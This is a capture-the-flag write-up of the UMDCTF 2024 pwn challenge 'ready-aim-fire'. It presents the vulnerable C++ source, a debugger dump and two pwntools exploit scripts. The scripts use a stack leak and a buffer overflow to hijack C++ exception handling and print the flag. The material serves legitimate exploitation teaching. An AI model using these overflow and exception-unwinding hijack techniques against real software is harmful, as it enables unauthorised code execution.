ready-aim-fire [UMDCTF 2024]

pwn
writeup by: PineBel

Challenge Description

Firing your weapon when the spice harvester’s shields are down requires exceptional timing.

Intuition

This was a fun challenge which I solved in an unintended way, I will also present the intended solution because it’s very interesting. We get the source code (and binary) for this challenge and we can see that we have a BOF in the fire method from the Cannon object and we also have a stack leak.

void print_flag() {
    ifstream f{"./flag.txt"};
    if (!f.is_open()) {
        cout << "Failed to open flag file. Contact CTF organizers if you see this error." << endl;
    } else {
        string flag;
        f >> flag;
        cout << flag << endl;
    }
}


void direct_hit() {
    try {
        throw exception{};
    } catch (exception e) {
        cout << "Direct hit!" << endl;
        print_flag();
    }
}

class Cannon {
public:
    int bufIndex;
    char buf[32];

    Cannon(): bufIndex(0) {}

    void fire() {
        char c ;
        for (;;) {      
            cin.get(c);   
            if (c == '\n') {
                break;
            } else {
                buf[bufIndex++] = c;  // <-- overflow     
            }
        }
        if (bufIndex >= 32) {
            throw out_of_range{""};
        }
    }
};

void fire_weapon() {
    Cannon w;
    w.fire();
}

int main() {
    int target_assist;
    cout << "Quick! While the spice harvester's shields are down! Fire the laser cannon!" << endl;
    cout << &target_assist << endl;  // <-- stack leak 

    try {
        fire_weapon();
        cout << "Looks like you missed your opportunity to fire." << endl;
    }
    catch (exception e) {
        cout << "Seems like you missed." << endl;
    }
}

We can see that there is a constraint though, if we do a BOF, it will trigger an exception, which will be caught in the main function. Additionally, I noticed an extra function called ‘direct_hit,’ which suggested that we should attempt to redirect the exception thrown during a BOF into the catch block of ‘direct_hit()’ to print the flag (the intended solution). Unfortunately, my implementation didn’t work as expected. Therefore, my next idea was to overwrite the return address of the main function with the address of ‘print_flag()’ after the exception was triggered.

Solution

Unintended

When first trying to do the BOF with an input of length 33 the program crashed in the exception handler and printed “Seems like you missed.”. If we give an input longer than 44 we will start overwriting the RBP and the program will crash. This happens because we don’t return in a ’normal’ way to main but through exception throwing.

We can see in the image below that the RBP value is used in the exception handler, which is called when the bufferIndex is greater than 32 (input: “A”*44 + “X”*8).

0x00007ffd8a60ad20+0x0000: "XXXXXXXX+'@"         $rsp, $rbp   <-- crash  
0x00007ffd8a60ad28+0x0008: 0x000000000040272b    <main+270> mov rax, rbx  
0x00007ffd8a60ad30+0x0010: 0x004023e630303030
0x00007ffd8a60ad38+0x0018: 0x004023e600000000
0x00007ffd8a60ad40+0x0020: 0x004023e600000000
0x00007ffd8a60ad48+0x0028: 0x004023e600000000
0x00007ffd8a60ad50+0x0030: 0x004023e600000000
0x00007ffd8a60ad58+0x0038: 0x004023e600000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40283a <std::exception::exception(std::exception const&)+12> mov    QWORD PTR [rbp-0x10], rsi
     0x40283e <std::exception::exception(std::exception const&)+16> lea    rdx, [rip+0x255b]        # 0x404da0 <_ZTVSt9exception@GLIBCXX_3.4+16>
     0x402845 <std::exception::exception(std::exception const&)+23> mov    rax, QWORD PTR [rbp-0x8]
●→   0x402849 <std::exception::exception(std::exception const&)+27> mov    QWORD PTR [rax], rdx
     0x40284c <std::exception::exception(std::exception const&)+30> nop    
     0x40284d <std::exception::exception(std::exception const&)+31> pop    rbp
     0x40284e <std::exception::exception(std::exception const&)+32> ret    
     0x40284f                  nop    
     0x402850 <Cannon::Cannon()+0> endbr64 

To address this issue, we need a valid address for RBP after our input of length 44. This address can be the stack leak we get. Because the stack leak address and the address where RBP is used are very close, we need to add an offset to avoid interfering with the stack when executing future instructions. Therefore, I subtracted 0x10 from the stack leak address. The goal here is to make the exception execute normally so that we return to main and overwrite the return address of main. To achieve this, I needed to replicate the stack. So I extended the payload with an address that was normally on the stack (this was found by running the program with gdb), ensuring that the exception would execute smoothly and return in the the main function. To complete the exploit, I added the address of the print_flag function to the end of the payload.

payload = b"a"*44 


print_flag = p64(0x4023e6) 
og_main = p64(0x4026be) # replicate stack 
 

target.recvuntil(b"Fire the laser cannon!")
recvline = target.recvline()
print(recvline)

stack_leak = target.recvline()
print(hex(int(stack_leak.decode(),16)))
stack_leak = p64((int(stack_leak.decode(),16))-0x10) 

payload += stack_leak 

payload += og_main   
payload += b"0000"+print_flag 
target.sendline(payload)
target.interactive()

Although I like this solution the intended one is more elegant.

Intended

The intended solution is similar to the unintended one but the main idea is to just overwrite the exception catch from fire() to the one from direct_hit().

target  .recvuntil(b"Fire the laser cannon!")
recvline =  target.recvline()
stack_leak =  target.recvline()
stack_leak = p64((int(stack_leak.decode(),16))-0x10)
payload += stack_leak 
payload += p64(0x402547) # catch from direct_hit
target.sendline(payload)

Some other interesting things about the exception handler is that it works stack frame by stack frame. When an exception is thrown the current RIP searches in the .eh_frame section if it’s in a catch block in that function. If it’s found then it will jump to the catch block otherwise it will unwind the stack to clean it. After this it uses the stored return address to repeat this process on the next stack frame and comparing it to the .eh_frame table. The process goes on until either the exception is caught or it reaches the base exception handler.